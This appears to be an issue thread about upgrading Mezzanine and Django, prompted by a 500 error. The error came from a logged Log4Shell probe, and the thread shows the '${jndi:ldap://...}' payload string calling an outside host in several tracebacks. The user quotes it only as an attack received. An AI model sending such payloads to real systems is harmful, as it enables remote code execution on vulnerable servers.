KeyError: 'MIDDLEWARE' in settings

[zefoo]

Howdy. Mezzanine 4.3.1 here on Django 1.11.27. I haven't touched our Mezzanine set up in years

I saw a Django 500 error this morning: Internal Server Error: /${jndi:ldap://1.1.1.1:8444/lx-ffff44b7f8c9bb0100a727cc61000000000f0721}

This seems to be linked with the log4j vulnerability which we don't run. But, our system through a 500 error:

Traceback:  

File "/home/dev/mysite.com/venv/lib/python3.6/site-packages/django/db/backends/utils.py" in execute
  64.                 return self.cursor.execute(sql, params)


      The above exception (invalid input syntax for type inet: "${jndi:ldap://16.1.13.196:8444/lx-ffff44b7f8c9bb010ca727cc6100000000b954d7}"
LINE 1: ...9:17:28.261568+00:00'::timestamptz, false, false, '${jndi:ld...
                                                             ^
) was the direct cause of the following exception:



File "/home/dev/mysite.com/venv/lib/python3.6/site-packages/django/core/handlers/base.py" in get_response
  131.                 response = middleware_method(request, response)

File "/home/dev/mysite.com/venv/lib/python3.6/site-packages/request/middleware.py" in process_response
  41.         r.from_http_request(request, response)

File "/home/dev/mysite.com/venv/lib/python3.6/site-packages/request/models.py" in from_http_request
  85.             self.save()

File "/home/dev/mysite.com/venv/lib/python3.6/site-packages/request/models.py" in save
  123.         super(Request, self).save(*args, **kwargs)

File "/home/dev/mysite.com/venv/lib/python3.6/site-packages/django/db/models/base.py" in save
  808.                        force_update=force_update, update_fields=update_fields)

File "/home/dev/mysite.com/venv/lib/python3.6/site-packages/django/db/models/base.py" in save_base
  838.             updated = self._save_table(raw, cls, force_insert, force_update, using, update_fields)

File "/home/dev/mysite.com/venv/lib/python3.6/site-packages/django/db/models/base.py" in _save_table
  924.             result = self._do_insert(cls._base_manager, using, fields, update_pk, raw)

File "/home/dev/mysite.com/venv/lib/python3.6/site-packages/django/db/models/base.py" in _do_insert
  963.                                using=using, raw=raw)

File "/home/dev/mysite.com/venv/lib/python3.6/site-packages/django/db/models/manager.py" in manager_method
  85.                 return getattr(self.get_queryset(), name)(*args, **kwargs)

File "/home/dev/mysite.com/venv/lib/python3.6/site-packages/django/db/models/query.py" in _insert
  1079.         return query.get_compiler(using=using).execute_sql(return_id)

File "/home/dev/mysite.com/venv/lib/python3.6/site-packages/django/db/models/sql/compiler.py" in execute_sql
  1112.                 cursor.execute(sql, params)

File "/home/dev/mysite.com/venv/lib/python3.6/site-packages/django/db/backends/utils.py" in execute
  64.                 return self.cursor.execute(sql, params)

File "/home/dev/mysite.com/venv/lib/python3.6/site-packages/django/db/utils.py" in __exit__
  94.                 six.reraise(dj_exc_type, dj_exc_value, traceback)

File "/home/dev/mysite.com/venv/lib/python3.6/site-packages/django/utils/six.py" in reraise
  685.             raise value.with_traceback(tb)

File "/home/dev/mysite.com/venv/lib/python3.6/site-packages/django/db/backends/utils.py" in execute
  64.                 return self.cursor.execute(sql, params)

Exception Type: DataError at /${jndi:ldap://16.1.13.196:8444/lx-ffff44b7f8c9bb0100a727cc61000000000f0721}
Exception Value: invalid input syntax for type inet: "${jndi:ldap://16.1.13.196:8444/lx-ffff44b7f8c9bb010ca727cc6100000000b954d7}"
LINE 1: ...9:17:28.261568+00:00'::timestamptz, false, false, '${jndi:ld...
                                                             

This seems to be related to Django-request.

So this led me down a rabbit hole of seeing if I could upgrade that...

So I did pip install --upgrade django-request

And with that, it upgraded Django to 3.2. Apparently I was still on 1.x (which I know is old)

So then I thought I'd upgrade Mezzanine to 5.0.

Which broke stuff.

This seems to be the culprit:

####################
# DYNAMIC SETTINGS #
####################

# set_dynamic_settings() will rewrite globals based on what has been
# defined so far, in order to provide some better defaults where
# applicable. We also allow this settings module to be imported
# without Mezzanine installed, as the case may be when using the
# fabfile, where setting the dynamic settings below isn't strictly
# required.
try:
    from mezzanine.utils.conf import set_dynamic_settings
except ImportError:
    pass
else:
    set_dynamic_settings(globals())

Specifically, when I run venv-staging/bin/gunicorn --workers 1 --log-level=debug --bind unix:app-live.sock myproject.wsgi:application

I get this:

[2021-12-29 12:37:25 -0800] [30285] [INFO] Starting gunicorn 19.6.0
[2021-12-29 12:37:25 -0800] [30285] [DEBUG] Arbiter booted
[2021-12-29 12:37:25 -0800] [30285] [INFO] Listening at: unix:mysite-live.sock (30285)
[2021-12-29 12:37:25 -0800] [30285] [INFO] Using worker: sync
[2021-12-29 12:37:25 -0800] [30288] [INFO] Booting worker with pid: 30288
[2021-12-29 12:37:25 -0800] [30285] [DEBUG] 1 workers
[2021-12-29 12:37:25 -0800] [30288] [ERROR] Exception in worker process
Traceback (most recent call last):
  File "/home/dev/mysite.com/venv-staging/lib/python3.6/site-packages/gunicorn/arbiter.py", line 557, in spawn_worker
    worker.init_process()
  File "/home/dev/mysite.com/venv-staging/lib/python3.6/site-packages/gunicorn/workers/base.py", line 126, in init_process
    self.load_wsgi()
  File "/home/dev/mysite.com/venv-staging/lib/python3.6/site-packages/gunicorn/workers/base.py", line 136, in load_wsgi
    self.wsgi = self.app.wsgi()
  File "/home/dev/mysite.com/venv-staging/lib/python3.6/site-packages/gunicorn/app/base.py", line 67, in wsgi
    self.callable = self.load()
  File "/home/dev/mysite.com/venv-staging/lib/python3.6/site-packages/gunicorn/app/wsgiapp.py", line 65, in load
    return self.load_wsgiapp()
  File "/home/dev/mysite.com/venv-staging/lib/python3.6/site-packages/gunicorn/app/wsgiapp.py", line 52, in load_wsgiapp
    return util.import_app(self.app_uri)
  File "/home/dev/mysite.com/venv-staging/lib/python3.6/site-packages/gunicorn/util.py", line 357, in import_app
    __import__(module)
  File "/home/dev/mysite.com/mysite-staging/mysite/wsgi.py", line 20, in <module>
    application = get_wsgi_application()
  File "/home/dev/mysite.com/venv-staging/lib/python3.6/site-packages/django/core/wsgi.py", line 12, in get_wsgi_application
    django.setup(set_prefix=False)
  File "/home/dev/mysite.com/venv-staging/lib/python3.6/site-packages/django/__init__.py", line 19, in setup
    configure_logging(settings.LOGGING_CONFIG, settings.LOGGING)
  File "/home/dev/mysite.com/venv-staging/lib/python3.6/site-packages/django/conf/__init__.py", line 82, in __getattr__
    self._setup(name)
  File "/home/dev/mysite.com/venv-staging/lib/python3.6/site-packages/django/conf/__init__.py", line 69, in _setup
    self._wrapped = Settings(settings_module)
  File "/home/dev/mysite.com/venv-staging/lib/python3.6/site-packages/django/conf/__init__.py", line 170, in __init__
    mod = importlib.import_module(self.SETTINGS_MODULE)
  File "/usr/lib/python3.6/importlib/__init__.py", line 126, in import_module
    return _bootstrap._gcd_import(name[level:], package, level)
  File "/home/dev/mysite.com/mysite-staging/mysite/settings.py", line 340, in <module>
    set_dynamic_settings(globals())
  File "/home/dev/mysite.com/venv-staging/lib/python3.6/site-packages/mezzanine/utils/conf.py", line 208, in set_dynamic_settings
    for mw in s["MIDDLEWARE"]
KeyError: 'MIDDLEWARE'

Any two cents on this? I can't seem to find much on Mezzanine 5 from an upgrade perspective, my sense is this isn't ready for production and I just happened to stumble into this and the rabbit hole is too deep for me right now. But I may have missed something.

Grateful for any two cents, thank you.

[jerivas]

I suggest you compare your local_settings.py and settings.py files with the template files provided by Mezzanine. From the exception message it sounds like you have a missing MIDDLEWARE setting so you are probably using the old MIDDLEWARE_CLASSES name. I would start by renaming that and see if that produces a new error.

[zefoo]

Thank you @jerivas , and given all that you know about Mezzanine 5 - would you say "it's stable now" ? Or would you advise for waiting a bit? Thank you!

[jerivas]

Yes, it's plenty stable 👍